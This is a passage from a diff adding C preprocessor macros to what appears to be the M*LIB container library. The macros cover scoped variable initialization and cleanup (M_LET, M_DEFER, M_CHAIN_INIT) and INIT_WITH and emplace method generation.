+#define M_LET(a, ...)                                                         \
+  M_ID(M_LETI0 ((M_REVERSE(a, __VA_ARGS__,                                    \
+                        M_IF(M_PARENTHESIS_P(a))(M_LETI_VAR_NAME_A,           \
+                                                 M_LETI_VAR_NAME_B)(a) ))))
+
+// 1b. Generate a unique name based on the first variable and the line number
+#define M_LETI_VAR_NAME_A(var) M_C3(_local_cont_, M_RET_ARG1 var, __LINE__)
+#define M_LETI_VAR_NAME_B(var) M_C3(_local_cont_, var, __LINE__)
+// 2. Evaluate with or without and inject oplist
+#define M_LETI0(list)                                                         \
+  M_LETI1 list
+#define M_LETI1(cont, oplist, ...)                                            \
+  M_LETI2(cont, M_GLOBAL_OPLIST(oplist), __VA_ARGS__)
+// 3. Validate oplist before going any further
+#define M_LETI2(cont, oplist, ...)                                            \
+  M_IF_OPLIST(oplist)(M_LETI3, M_LETI2_FAILURE)(cont, oplist, __VA_ARGS__)
+// Stop with a failure (invalid oplist)
+#define M_LETI2_FAILURE(cont, oplist, ...)                                    \
+  M_STATIC_ASSERT(false, M_LIB_NOT_AN_OPLIST, "the last argument of M_LET is not a valid oplist or a registered type: " M_AS_STR(oplist))
+// 4. Map all variables to their own LET
+#define M_LETI3(cont, oplist, ...)                                            \
+  for(bool cont = true; cont ; /* unused */)                                  \
+    M_MAP2(M_LETI_SINGLE, (cont, oplist), __VA_ARGS__)                        \
+    for(;cont;cont = false)
+// 5. Dispatch the right LET in function of having or not arguments with data = (cont, oplist)
+#define M_LETI_SINGLE(data, name)                                             \
+  M_IF(M_PARENTHESIS_P(name))(M_LETI_SINGLE2_SET,M_LETI_SINGLE2)              \
+         (M_PAIR_1 data, M_PAIR_2 data, name, M_RET_ARG1 name, M_SKIPI_1 name)
+// 6a. Define without argument ==> use the INIT operator
+#define M_LETI_SINGLE2(cont, oplist, name, ...)                               \
+  M_LET_TRY_INJECT_PRE(cont, oplist, name)                                    \
+  for(M_GET_TYPE oplist name;                                                 \
+      cont && (M_CALL_INIT(oplist, name), true);                              \
+      (M_CALL_CLEAR(oplist, name), cont = false))                             \
+  M_LET_TRY_INJECT_POST(cont, oplist, name)
+// 6b. Define with arguments ==> use the INIT_SET or INIT_WITH operator (if defined).
+#define M_LETI_SINGLE2_SET(cont, oplist, params, name, ...)                   \
+  M_LET_TRY_INJECT_PRE(cont, oplist, name)                                    \
+  for(M_GET_TYPE oplist name;                                                 \
+      cont && (M_LETI_SINGLE2_INIT(oplist, name, __VA_ARGS__), true);         \
+      (M_CALL_CLEAR(oplist, name), cont = false))                             \
+  M_LET_TRY_INJECT_POST(cont, oplist, name)
+// 6c. Use of INIT_SET or INIT_WITH.
+#define M_LETI_SINGLE2_INIT(oplist, name, ...)                                \
+  M_IF_METHOD(INIT_WITH,oplist)(M_LETI_SINGLE3_INIT, M_CALL_INIT_SET)(oplist, name, __VA_ARGS__)
+#define M_LETI_SINGLE3_INIT(oplist, name, ...)                                \
+  M_IF(M_NOTEQUAL( M_NARGS(__VA_ARGS__), 1))(M_CALL_INIT_WITH, M_LETI_SINGLE4_INIT)(oplist, name, __VA_ARGS__)
+#define M_LETI_SINGLE4_INIT(oplist, name, arg)                                \
+  M_IF(M_GET_PROPERTY(oplist, LET_AS_INIT_WITH))(M_CALL_INIT_WITH, M_LETI_SINGLE5_INIT)(oplist, name, arg)
+#define M_LETI_SINGLE5_INIT(oplist, name, arg)                                \
+  M_IF(M_PARENTHESIS_P( arg ) )(M_CALL_INIT_WITH, M_CALL_INIT_SET)(oplist, name, M_REMOVE_PARENTHESIS (arg))
+
+/* Dummy stubs that do nothing by default (overrided if needed by m-try) */
+#define M_LET_TRY_INJECT_PRE(cont, oplist, name)
+#define M_LET_TRY_INJECT_POST(cont, oplist, name)
+
+/*
+ * Internal M_LET for use within container.
+ * Declare the given variable of the given type and
+ * initialize / clear it using the given oplist .
+ * 
+ * index shall be a number within the function (from 1)
+ * identifying the M_QLET in the service.
+*/
+#define M_QLET(index, var, type, oplist)                                      \
+  M_LET(var, M_OPEXTEND(oplist, TYPE(type)))
+
+/* Transform the va list by adding their number as the first argument of
+   the list.
+   Example:   M_VA(a,b,c,d,e) ==> 5,a,b,c,d,e
+   TODO: Use of a structure instead of an integer to ensure limited syntax control.
+*/
+#define M_VA(...) M_NARGS(__VA_ARGS__), __VA_ARGS__
+
+
+/* Defer the evaluation of the given expression until the closing brace.
+   M_DEFER(code) { }
+   Example:
+     M_DEFER(free(p)) {
+             // code using p
+     } // Here p is free
+  M_DEFER2 can be used if you need to defer two expressions in the same line.
+*/
+#define M_DEFER(...)                                                          \
+  M_DEFER_INTERNAL(M_C(m_var_, __LINE__), __VA_ARGS__)
+
+#define M_DEFER2(...)                                                         \
+  M_DEFER_INTERNAL(M_C(m_var2_, __LINE__), __VA_ARGS__)
+
+#define M_DEFER_INTERNAL(cont, ...)                                           \
+  for(bool cont = true; cont; cont = false)                                   \
+    M_DEFER_TRY_INJECT_PRE(cont, __VA_ARGS__)                                 \
+      for( (void) 0; cont ; (__VA_ARGS__), cont = false)                      \
+        M_DEFER_TRY_INJECT_POST(cont, __VA_ARGS__)                            \
+          for( (void) 0; cont; cont = false)
+
+// Theses macros will be overrided by m-try if needed.
+#define M_DEFER_TRY_INJECT_PRE(cont, clear) /* Nothing */
+#define M_DEFER_TRY_INJECT_POST(cont, clear) /* Nothing */
+
+
+/* If exceptions are activated, M_CHAIN_INIT enables support for chaining
+  initialization at the begining of a constructor for the fields of the constructed
+  object so that even if the constructor failed and throw an exception, 
+  the fields of the constructed object are properly cleared.
+  This is equivalent to C++ construct: void type() : field1(), field2() { rest of constructor }
+  M_CHAIN_INIT shall be the first instruction of the init function.
+  Second argument is the initialization code.
+  Third argument is the clear code.
+  The clear code is *only* executed on exception.
+  USAGE:
+    void init_function(struct_t s) {
+      M_CHAIN_INIT(name, string_init(s->str), string_clear(s->str)) {
+        // Rest of initialization code
+      }
+    }
+ */
+#define M_CHAIN_INIT(name, init, clear)                                       \
+  M_CHAIN_INIT_INTERNAL(M_C(m_var_, name), init, clear)
+
+#define M_CHAIN_INIT_INTERNAL(cont, init, clear)                              \
+  for(bool cont = true; cont; cont = false)                                   \
+    M_DEFER_TRY_INJECT_PRE(cont, clear)                                       \
+      for( init; cont ; cont = false)                                         \
+        M_DEFER_TRY_INJECT_POST(cont, clear)                                  \
+          for( (void) 0; cont; cont = false)
+  
+
+/* If exceptions are activated, M_CHAIN_OBJ enables support for chaining
+  initialization at the begining of a constructor for the fields of the constructed
+  object so that even if the constructor failed and throw an exception,
+  the fields of the constructed object are properly cleared.
+  This is equivalent to M_CHAIN_INIT except it takes an oplist.
+  This is equivalent to C++ construct: void type() : field1(), field2() { rest of constructor }
+  M_CHAIN_OBJ shall be the first instruction of the init function except
+  it can be freely mixed with M_CHAIN_INIT
+  First argument is a name identifier.
+  Second argument is the oplist of the variable to initialize.
+  Third argument is the variable to initialize.
+  Optional fourth argument is the value to use for initialization.
+  If there is no value, it will initialize using the INIT method.
+  Otherwise, if there is no parenthesis around the value, it will use the INIT_SET method.
+  Otherwise the INIT_WITH method.
+  The clear code is *only* executed on exception.
+  If the property NOCLEAR is defined for the object,
+  it won't generate an exception handler at all even if exceptions are activated,
+  and will only initialize the object.
+  USAGE:
+    void init_function(struct_t s) {
+      M_CHAIN_OBJ(name, STRING_OPLIST, s->str ) {
+        // Rest of initialization code
+      }
+    }
+ */
+#define M_CHAIN_OBJ(name, oplist, ...)                                        \
+  M_BY_NARGS( M_IF(M_GET_PROPERTY(oplist, NOCLEAR))(M_CHAIN_OBJ_A, M_CHAIN_OBJ_B), __VA_ARGS__) \
+  (name, oplist, __VA_ARGS__)
+// Need to define an exception handler. Use of M_CHAIN_INIT
+#define M_CHAIN_OBJ_B__1(name, oplist, var)                                   \
+  M_CHAIN_INIT( name, M_CALL_INIT(oplist, var), M_CALL_CLEAR(oplist, var) )
+#define M_CHAIN_OBJ_B__2(name, oplist, var, value)                            \
+  M_IF(M_PARENTHESIS_P(value))(M_CHAIN_OBJ_B__2_WITH, M_CHAIN_OBJ_B__2_SET)   \
+  (name, oplist, var, value)
+#define M_CHAIN_OBJ_B__2_WITH(name, oplist, var, value)                       \
+  M_CHAIN_INIT( name, M_CALL_INIT_WITH(oplist, var, value), M_CALL_CLEAR(oplist, var) )
+#define M_CHAIN_OBJ_B__2_SET(name, oplist, var, value)                        \
+  M_CHAIN_INIT( name, M_CALL_INIT_SET(oplist, var, value), M_CALL_CLEAR(oplist, var) )
+// No need to define an exception handler. Just call the INIT function.
+#define M_CHAIN_OBJ_A__1(name, oplist, var)                                   \
+  M_CHAIN_FOR(name, M_CALL_INIT(oplist, var) )
+#define M_CHAIN_OBJ_A__2(name, oplist, var, value)                            \
+  M_CHAIN_FOR(name,                                                           \
+      M_IF(M_PARENTHESIS_P(value))(M_CALL_INIT_WITH, M_CALL_INIT_SET)         \
+      (oplist, var, value) )
+
+// Execute the 'init' function in a for loop construct
+#define M_CHAIN_FOR(name,  init )                                             \
+  M_CHAIN_FOR_B(M_C(m_var_, name), init)
+#define M_CHAIN_FOR_B(cont, init)                                             \
+  for(bool cont = true; cont; cont = false)                                   \
+      for( init; cont ; cont = false)                                         \
+          for( (void) 0; cont; cont = false)
+
+
+/* If exceptions are activated, M_ON_EXCEPTION enables support for fixing
+  the data structure when an exception is throw,
+  so that the data structure integrity is ready for the CLEAR method.
+  The fix code is *only* executed on exception.
+  USAGE:
+    void init_function(struct_t s) {
+      M_ON_EXCEPTION(s->size = i ) {
+        // Rest of initialization code
+      }
+    }
+  Do nothing if exceptions are not enabled.
+ */
+#define M_ON_EXCEPTION(...)  for(bool cont = true; cont; cont = false)        \
+
+/* If exceptions are activated, M_IF_EXCEPTION will expand the code.
+  Do nothing if exceptions are not enabled. */
+#define M_IF_EXCEPTION(...) 
+
+/* Declare a variable as volatile if exceptions are enabled */
+#define m_volatile /* nothing */
+
+
+/* Declare a variable, initialize it, continue if the initialization succeeds,
+   and clears the variable afterwards.
+   Otherwise, stop the execution and execute else_code if defined.
+   M_LET_IF(init code, test code, clear code[, else_code]) { code using the variable }
+   Example:
+   M_LET_IF(void * p = malloc(100), p!=0, free(p)) {
+      // code using p
+   } // Here p is free
+*/
+#define M_LET_IF(init, test, ...)                                             \
+  M_IF_NARGS_EQ1(__VA_ARGS__)                                                 \
+  (                                                                           \
+   M_LET_IF_INTERNAL (init, test, __VA_ARGS__, (void)0, M_C(m_var_, __LINE__)), \
+   M_LET_IF_INTERNAL (init, test, __VA_ARGS__, M_C(m_var_, __LINE__))         \
+  )
+
+#define M_LET_IF_INTERNAL(init, test, clear, else_a, cont)                    \
+  for(bool cont = true; cont; cont = false)                                   \
+    for( init ; cont && ( (test) || (else_a, false) ); cont = false)          \
+      M_DEFER_INTERNAL(M_C(cont, defer), clear )
+
+
+
+/************************************************************/
+/******************* INIT_WITH Enhancing ********************/
+/************************************************************/
+
+/* Add as suffix for the given function the number of arguments of the calls
+   equal to __ # NARGS(...)
+   Can be used to call different function in function of the number of arguments.
+   It doesn't call the function with the argument in order to be able to chain the 
+   macro */
+#define M_BY_NARGS(function, ...) M_C3(function, __, M_NARGS(__VA_ARGS__))
+
+/* Call different methods in function of the number of arguments of the call,
+ * to be used in an OPLIST for the INIT_WITH operator.
+ * Shall be used with API_1 call (example INIT_WITH(API_1(M_INIT_WITH_NVAR)) )
+ * Shall define a NAME base method
+ * All INIT_WITH methods shall be named as name ## _init_with__ ## NARGS
+ */
+#define M_INIT_WITH_NVAR(oplist, ...)                                         \
+  M_BY_NARGS(M_C(M_GET_NAME oplist, _init_with), __VA_ARGS__)(__VA_ARGS__)
+
+
+/* Initialize the container 'dest' as per 'oplist' INIT operator
+   and fill it with the given VA_ARGS arguments with the PUSH operator.
+   NOTE: If the REVERSE operator exists, it assumes a list,
+   so it reverses the final order.
+*/
+#define M_INIT_VAI(oplist, dest, ...)                                         \
+  (void)(M_CALL_INIT(oplist, dest) ,                                          \
+         M_MAP2_C(M_INIT_VAI_FUNC, (dest, oplist) , __VA_ARGS__)              \
+         M_IF_METHOD(REVERSE, oplist)(M_DEFERRED_COMMA M_CALL_REVERSE(oplist, dest), ) \
+         )
+#define M_INIT_VAI_FUNC(d, a)                                                 \
+  M_CALL_PUSH(M_PAIR_2 d, M_PAIR_1 d, a)
+
+
+/* Initialize the container 'dest' as per 'oplist' INIT operator
+   and fill it with the given VA_ARGS arguments with the _push_back_raw method
+   allowing INIT_WITH operator for the pushed argument if the given
+   argument is between parenthesis, otherwise an INIT_SET is performed.
+   NOTE: Parenthesis detection is the best we can do to detect a special
+   argument. The argument may start with '*' or a '+' and we cannot use
+   M_KEYWORD_P with such arguments (as it cannot be concatened).
+   NOTE: If the REVERSE operator exists, it assumes a list,
+   so it reverses the final order.
+*/
+#define M_INIT_WITH_VAI(oplist, dest, ...)                                    \
+  (void)(M_GET_INIT oplist (dest) ,                                           \
+         M_MAP2_C(M_INIT_WITH_VAI22_FUNC, (dest, oplist) , __VA_ARGS__)       \
+         M_IF_METHOD(REVERSE, oplist)(M_DEFERRED_COMMA M_GET_REVERSE oplist(dest), ) \
+         )
+#define M_INIT_WITH_VAI22_FUNC(pair, a)                                       \
+  M_INIT_WITH_VAI23_FUNC(M_PAIR_1 pair, M_PAIR_2 pair, a)
+
+/* We first push a raw new item, and then we get back its pointer using _back.
+  _back (contrary to _push_back_raw) has no side effect, and so is safe to be used
+  in a macro */
+#define M_INIT_WITH_VAI23_FUNC(d, op, a)                                      \
+  (                                                                           \
+    (void) M_C(M_GET_NAME op, _push_back_raw)(d),                             \
+    M_IF(M_PARENTHESIS_P(a))                                                  \
+    (M_CALL_INIT_WITH, M_CALL_INIT_SET)                                       \
+    (M_GET_OPLIST op, *M_C(M_GET_NAME op, _back)(d), M_REMOVE_PARENTHESIS(a)) \
+  )
+
+
+/* Initialize the container 'dest' as per 'oplist' INIT operator
+   and fill it with the given VA_ARGS arguments with the _emplace method
+   if the given argument is between parenthesis, otherwise an _init_set
+   is performed.
+   NOTE: Parenthesis detection is the best we can do to detect a special
+   argument. The argument may start with '*' or a '+' and we cannot use
+   M_KEYWORD_P with such arguments (as it cannot be concatened).
+   NOTE: If the REVERSE operator exists, it assumes a list,
+   so it reverses the final order.
+*/
+#define M_INIT_EMPLACE_VAI(oplist, dest, ...)                                 \
+  (void)(M_GET_INIT oplist (dest) ,                                           \
+         M_MAP2_C(M_INIT_EMPLACE_VAI2_FUNC, (dest, oplist) , __VA_ARGS__)     \
+         M_IF_METHOD(REVERSE, oplist)(M_DEFERRED_COMMA M_GET_REVERSE oplist(dest), ) \
+         )
+#define M_INIT_EMPLACE_VAI2_FUNC(pair, a)                                     \
+  M_INIT_EMPLACE_VAI3_FUNC(M_PAIR_1 pair, M_PAIR_2 pair, a)
+#define M_INIT_EMPLACE_VAI3_FUNC(d, op, a)                                    \
+  (                                                                           \
+    M_IF(M_PARENTHESIS_P(a))                                                  \
+    (M_C(M_GET_NAME op, _emplace)(d, M_REMOVE_PARENTHESIS_3 a),               \
+     M_CALL_PUSH(op, d, a))                                                   \
+  )
+
+
+/* Initialize the container 'dest' as per 'oplist' INIT operator
+   and fill it with the given VA argument
+   assumed to be pair (key,value) with the SET_KEY operator.
+   If key (resp. value) is itself in the form ( ) and the 
+   oplist defined an EMPLACE_TYPE operator, performs an emplace insertion
+   by construction an emplace call with no suffix.
+*/
+#define M_INIT_KEY_VAI(oplist, dest, ...)                                     \
+  (void)(M_GET_INIT oplist (dest) ,                                           \
+         M_MAP2_C(M_INIT_KEY_VAI_FUNC_P1, (dest, oplist) , __VA_ARGS__))
+#define M_INIT_KEY_VAI_FUNC_P1(dst_op, a)                                     \
+  M_INIT_KEY_VAI_FUNC_P2(M_PAIR_1 dst_op, M_PAIR_2 dst_op, M_PAIR_1 a, M_PAIR_2 a)
+#define M_INIT_KEY_VAI_FUNC_P2(dst, oplist, key, value)                       \
+  M_IF(M_AND(M_PARENTHESIS_P(key), M_TEST_METHOD_P(EMPLACE_TYPE, M_GET_KEY_OPLIST oplist))) \
+  (M_INIT_KEY_VAI_FUNC_P2Y, M_INIT_KEY_VAI_FUNC_P2N)(dst, oplist, key, value)
+#define M_INIT_KEY_VAI_FUNC_P2Y(dst, oplist, key, value)                      \
+  M_IF(M_AND(M_PARENTHESIS_P(value), M_TEST_METHOD_P(EMPLACE_TYPE, M_GET_VALUE_OPLIST oplist))) \
+  (M_INIT_KEY_VAI_FUNC_P2YY, M_INIT_KEY_VAI_FUNC_P2YN)(dst, oplist, key, value)
+#define M_INIT_KEY_VAI_FUNC_P2N(dst, oplist, key, value)                      \
+  M_IF(M_AND(M_PARENTHESIS_P(value), M_TEST_METHOD_P(EMPLACE_TYPE, M_GET_VALUE_OPLIST oplist))) \
+  (M_INIT_KEY_VAI_FUNC_P2NY, M_INIT_KEY_VAI_FUNC_P2NN)(dst, oplist, key, value)
+#define M_INIT_KEY_VAI_FUNC_P2YY(dst, oplist, key, value)                     \
+  M_C(M_GET_NAME oplist, _emplace_key_val)                                    \
+  (dst, M_INIT_KEY_VAI_ID key, M_INIT_KEY_VAI_ID value)
+#define M_INIT_KEY_VAI_FUNC_P2YN(dst, oplist, key, value)                     \
+  M_C(M_GET_NAME oplist, _emplace_key)(dst, M_INIT_KEY_VAI_ID key, value)
+#define M_INIT_KEY_VAI_FUNC_P2NY(dst, oplist, key, value)                     \
+  M_C(M_GET_NAME oplist, _emplace_val)(dst, key, M_INIT_KEY_VAI_ID value)
+#define M_INIT_KEY_VAI_FUNC_P2NN(dst, oplist, key, value)                     \
+  M_CALL_SET_KEY(oplist, dst, key, value)
+#define M_INIT_KEY_VAI_ID(a) a
+
+
+/* Provide an INIT_WITH method that uses the EMPLACE_TYPE definition
+   by performing a _Generic selection on the first given argument
+   for all selections that match the number of arguments given to INIT_WITH,
+   and uses the provided init_func functions for constructing the variable.
+   Needs to be defined in the OPLIST with API_1
+   Only LIST based emplace_type supported as we need a dedicated init_func
+   FIXME: M_MAP2 allowed in INIT_WITH? (Seems working)
+*/
+#define M_INIT_WITH_THROUGH_EMPLACE_TYPE(oplist, dst, ...)                    \
+  M_IF(M_TEST_METHOD_P(EMPLACE_TYPE, oplist))                                 \
+    (M_INIT_WITH_EMPLACE_TYPE_2, M_INIT_WITH_NOT_AVAILABLE)                   \
+    (oplist, dst, __VA_ARGS__)
+#define M_INIT_WITH_NOT_AVAILABLE(oplist, dst, ...)                           \
+  M_STATIC_ASSERT(false, M_LIB_ILLEGAL_EMPLACE_TYPE,                          \
+           "Cannot INIT_WITH through EMPLACE_TYPE, such operator is not provided in the given oplist: " #oplist)
+#define M_INIT_WITH_EMPLACE_TYPE_2(oplist, dst, ...)                          \
+  M_INIT_WITH_EMPLACE_TYPE_3(M_GET_EMPLACE_TYPE oplist, oplist, dst, __VA_ARGS__)
+#define M_INIT_WITH_EMPLACE_TYPE_3(emplace_type, oplist, dst, ...)            \
+  M_IF(M_KEYWORD_P(LIST,emplace_type))                                        \
+    (M_INIT_WITH_EMPLACE_TYPE_4, M_INIT_WITH_EMPLACE_TYPE_FAIL)               \
+    (emplace_type, oplist, dst, __VA_ARGS__)
+#define M_INIT_WITH_EMPLACE_TYPE_FAIL(emplace_type, oplist, dst, ...)         \
+  M_STATIC_ASSERT(false, M_LIB_ILLEGAL_EMPLACE_TYPE,                          \
+           "Only LIST based EMPLACE_TYPE with explicit init_func (No INIT_WITH) are supported")
+#define M_INIT_WITH_EMPLACE_TYPE_4(emplace_type, oplist, dst, ...)            \
+  _Generic( M_RET_ARG1( __VA_ARGS__, )                                        \
+        M_MAP2(M_INIT_WITH_EMPLACE_APPLY,                                     \
+           (oplist, dst, M_ADD(2, M_NARGS(__VA_ARGS__)), __VA_ARGS__),        \
+           M_KEYWORD_TO_VA_ARGS(LIST, emplace_type))                          \
+        , default: M_STATIC_ASSERT(M_INIT_WITH_EMPLACE_LIST_ASSERT_COND(emplace_type, __VA_ARGS__), M_LIB_ILLEGAL_EMPLACE_TYPE, \
+                    "Cannot find any matching constructor for the type of "   \
+                    M_AS_STR (M_RET_ARG1( __VA_ARGS__, )                      \
+                    " with " M_AS_STR(M_NARGS(__VA_ARGS__)) " arguments in " M_AS_STR(emplace_type) )) \
+        )
+/* arglist is (oplist, dest, NARGS, args...) emplace_type is (suffix, init_func, types...) */
+#define M_INIT_WITH_EMPLACE_APPLY(arglist, emplace_type)                      \
+  M_IF(M_EQUAL(M_RET_ARG3 arglist, M_NARGS emplace_type))                     \
+    (M_INIT_WITH_EMPLACE_APPLY_2, M_EAT)(arglist, emplace_type)
+#define M_INIT_WITH_EMPLACE_APPLY_2(arglist, emplace_type)                    \
+  , M_RET_ARG3 emplace_type : M_APPLY_API(M_RET_ARG2 emplace_type, M_RET_ARG1 arglist, M_RET_ARG2 arglist M_INIT_WITH_EMPLACE_LIST_VAR((M_TAIL_3 arglist), emplace_type) )
+#define M_INIT_WITH_EMPLACE_LIST_VAR(arglist, emplace_type)                   \
+  M_MAP3( M_INIT_WITH_EMPLACE_LIST_VAR_MULTI_FUNC, emplace_type,              \
+      M_INIT_WITH_EMPLACE_LIST_VAR_ID arglist)
+#define M_INIT_WITH_EMPLACE_LIST_VAR_MULTI_FUNC(emplace_type, num, arg)       \
+  , M_AS_TYPE(M_RET_ARG(M_ADD(num, 2), M_INIT_WITH_EMPLACE_LIST_VAR_ID emplace_type), arg)
+#define M_INIT_WITH_EMPLACE_LIST_VAR_ID(...) __VA_ARGS__ /* M_ID macro */
+// Workaround to provide a nice static failure at compile time if we cannot find a matching type.
+#define M_INIT_WITH_EMPLACE_LIST_ASSERT_COND(emplace_type, ...)               \
+  _Generic( M_RET_ARG1( __VA_ARGS__, )                                        \
+        M_MAP2(M_INIT_WITH_EMPLACE_LIST_ASSERT_COND_APPLY, M_ADD(2, M_NARGS(__VA_ARGS__)), \
+           M_KEYWORD_TO_VA_ARGS(LIST, emplace_type))                          \
+        , default: 0 )
+#define M_INIT_WITH_EMPLACE_LIST_ASSERT_COND_APPLY(args, emplace_type)        \
+  M_IF(M_EQUAL(args, M_NARGS emplace_type))                                   \
+    (M_INIT_WITH_EMPLACE_LIST_ASSERT_COND_APPLY_2, M_EAT)(args, emplace_type)
+#define M_INIT_WITH_EMPLACE_LIST_ASSERT_COND_APPLY_2(args, emplace_type)      \
+  , M_RET_ARG3 emplace_type : 1
+
+
+
+/************************************************************/
+/******************* EMPLACE GENERATION  ********************/
+/************************************************************/
+
+/* Expand to the list of emplace type with their variable name
+   to use in the function declaration (start with a ,) */
+#define M_EMPLACE_LIST_TYPE_VAR(prefix, emplace_type)                         \
+  M_IF(M_PARENTHESIS_P( emplace_type ))(M_EMPLACE_LIST_TYPE_VAR_MULTI, M_EMPLACE_LIST_TYPE_VAR_SINGLE)(prefix, emplace_type)
+#define M_EMPLACE_LIST_TYPE_VAR_MULTI(prefix, emplace_type)                   \
+  M_MAP3(M_EMPLACE_LIST_TYPE_VAR_MULTI_F, prefix, M_ID emplace_type)
+#define M_EMPLACE_LIST_TYPE_VAR_MULTI_F(prefix, num, type)                    \
+  , type const M_C(prefix, num)
+#define M_EMPLACE_LIST_TYPE_VAR_SINGLE(prefix, emplace_type)                  \
+  , emplace_type const prefix
+
+/* Expand to the list of emplace type with their variable name
+   to use in the function declaration (doesn't start with a , but slower) */
+#define M_EMPLACE_LIST_TYPE_VAR_ALTER(prefix, emplace_type)                   \
+  M_IF(M_PARENTHESIS_P( emplace_type ))(M_EMPLACE_LIST_TYPE_VAR_ALTER_MULTI, M_EMPLACE_LIST_TYPE_VAR_ALTER_SINGLE)(prefix, emplace_type)
+#define M_EMPLACE_LIST_TYPE_VAR_ALTER_MULTI(prefix, emplace_type)             \
+  M_MAP3(M_EMPLACE_LIST_TYPE_VAR_ALTER_MULTI_F, prefix, M_ID emplace_type)
+#define M_EMPLACE_LIST_TYPE_VAR_ALTER_MULTI_F(prefix, num, type)              \
+  M_IF(M_EQUAL(1, num))( /*void*/, M_DEFERRED_COMMA) type const M_C(prefix, num)
+#define M_EMPLACE_LIST_TYPE_VAR_ALTER_SINGLE(prefix, emplace_type)            \
+  emplace_type const prefix
+
+/* Expand to the list of variable name based on the the declaration with
+   emplace type to use in the INIT_WITH or specific method call (start with a ,) */
+#define M_EMPLACE_LIST_VAR(prefix, emplace_type)                              \
+  M_IF(M_PARENTHESIS_P( emplace_type ))(M_EMPLACE_LIST_VAR_MULTI, M_EMPLACE_LIST_VAR_SINGLE)(prefix, emplace_type)
+#define M_EMPLACE_LIST_VAR_MULTI(prefix, emplace_type)                        \
+  , M_MAP2_C( M_C, prefix, M_SEQ(1, M_NARGS emplace_type) )
+#define M_EMPLACE_LIST_VAR_SINGLE(prefix, emplace_type)                       \
+  , prefix
+
+
+/* Call either INIT_WITH with the prefixed arguments used for emplace
+   if init_func is the keyword INIT_WITH
+   or with the user provided init_func (otherwise) */
+#define M_EMPLACE_CALL_FUNC(prefix, init_func, oplist, dest, emplace_type)    \
+  M_IF(M_KEYWORD_P(INIT_WITH, init_func))                                     \
+  (M_EMPLACE_CALL_FUNC_INIT_WITH, M_EMPLACE_CALL_FUNC_USER_PROVIDED)          \
+  (prefix, init_func, oplist, dest, emplace_type)
+#define M_EMPLACE_CALL_FUNC_INIT_WITH(prefix, init_func, oplist, dest, emplace_type) \
+   /* If INIT_FUNC==INIT_WITH, classic use of INIT_WITH operator */           \
+   M_CALL_INIT_WITH(oplist, dest M_EMPLACE_LIST_VAR(prefix, emplace_type) )
+#define M_EMPLACE_CALL_FUNC_USER_PROVIDED(prefix, init_func, oplist, dest, emplace_type) \
+   /* Use the user provided init_func instead (with API transformation) */    \
+   M_APPLY_API(init_func, oplist, dest M_EMPLACE_LIST_VAR(prefix, emplace_type) )
+
+
+/* Generate one or several definitions for the EMPLACE methods
+   using the operator EMPLACE_TYPE to get the suitable user types
+   and the user provided macro to expand the function definition.
+   The user provided a macro which prototype is
+   macro(name, name_t, function_name, oplist, init_func, exp_emplace_type)
+   It is suitable for container with a single type of data within.
+   NOTE: Use internally, M_MAP2, M_MAP2_C & M_MAP3
+ */
+#define M_EMPLACE_QUEUE_DEF(name, name_t, function_name, oplist, macro)       \
+  M_ID(                                                                       \
+  M_IF(M_TEST_METHOD_ALTER_P(EMPLACE_TYPE, oplist))                           \
+  (M_EMPLACE_QUEUE_DEF_EXPAND, M_EAT)                                         \
+  (name, name_t, function_name, oplist, macro, M_GET_EMPLACE_TYPE oplist)     \
+                                                                        )
+/* One EMPLACE_TYPE operator is defined ==> Perform the emplace function expansion.
+   If the emplace type starts with parenthesis, it is only one with multiple args */
+#define M_EMPLACE_QUEUE_DEF_EXPAND(name, name_t, function_name, oplist, macro, emplace_type) \
+  M_IF(M_PARENTHESIS_P(emplace_type))                                         \
+  (M_EMPLACE_QUEUE_DEF_SINGLE_EXPAND, M_EMPLACE_QUEUE_DEF_EXPAND_P2)          \
+  (name, name_t, function_name, oplist, macro, emplace_type)
+/* Test if it starts with LIST, in which case, multiple emplace methods have to be defined */
+#define M_EMPLACE_QUEUE_DEF_EXPAND_P2(name, name_t, function_name, oplist, macro, emplace_type) \
+  M_IF(M_KEYWORD_P(LIST, emplace_type))                                       \
+  (M_EMPLACE_QUEUE_DEF_LIST_EXPAND, M_EMPLACE_QUEUE_DEF_SINGLE_EXPAND)        \
+  (name, name_t, function_name, oplist, macro, emplace_type)
+/* Define & expand multiple emplace methods */
+#define M_EMPLACE_QUEUE_DEF_LIST_EXPAND(name, name_t, function_name, oplist, macro, emplace_type) \
+  M_MAP2(M_EMPLACE_QUEUE_DEF_SUFFIX, (name, name_t, function_name, oplist, macro), M_KEYWORD_TO_VA_ARGS(LIST, emplace_type))
+/* Let the arguments be expanded before calling the definition macro */
+#define M_EMPLACE_QUEUE_DEF_SUFFIX(trio, list) M_EMPLACE_QUEUE_DEF_SUFFIX2(M_ID trio, M_ID list)
+/* Let the arguments be expanded before calling the definition macro */
+#define M_EMPLACE_QUEUE_DEF_SUFFIX2(...)       M_EMPLACE_QUEUE_DEF_SUFFIX3(__VA_ARGS__)
+/* Everything is now proprely expanded. Just call the original macro (with a properly expanded emplace type) */
+#define M_EMPLACE_QUEUE_DEF_SUFFIX3(name, name_t, function_name, oplist, macro, sup_suffix, init_func, ...) \
+  macro(name, name_t, M_C_EMPTY(function_name, sup_suffix), oplist, init_func, (__VA_ARGS__) )
+/* Define & expand one emplace method by using the definition macro */
+#define M_EMPLACE_QUEUE_DEF_SINGLE_EXPAND(name, name_t, function_name, oplist, macro, emplace_type) \
+  macro(name, name_t, function_name, oplist, INIT_WITH, emplace_type)
+
+
+/* Generate one or several definitions for the EMPLACE methods
+   using the operator EMPLACE_TYPE to get the suitable user types
+   and the user provided macro to expand the function definition.
+   The user provided three macros which prototype are
+   macro(name, name_t, function_name, key_oplist, val_oplist, key_init_func, val_init_func, key_emplace_type, val_emplace_type)
+   first macro is for generating emplacing with both key & value are emplaced,
+   second macro is for generating emplacing with only key is emplaced,
+   third macro is for generating emplacing with only value is emplaced,
+   It is suitable for associative array containers.
+   NOTE: Use internally, M_MAP2, M_MAP2_C & M_MAP3
+ */
+#define M_EMPLACE_ASS_ARRAY_DEF(name, name_t, function_name, key_oplist, val_oplist, macro_both, macro_key, macro_val) \
+  M_IF(M_TEST_METHOD_ALTER_P(EMPLACE_TYPE, key_oplist))                       \
+  (M_EMPLACE_ASS_ARRAY_DEF_EXPAND_KEY_OR_BOTH, M_EMPLACE_ASS_ARRAY_DEF_EXPAND_VALUE_OR_NONE) \
+  (name, name_t, function_name, key_oplist, val_oplist, macro_both, macro_key, macro_val)
+/* We have a key EMPLACE_TYPE. We can generate key only or both emplace functions */
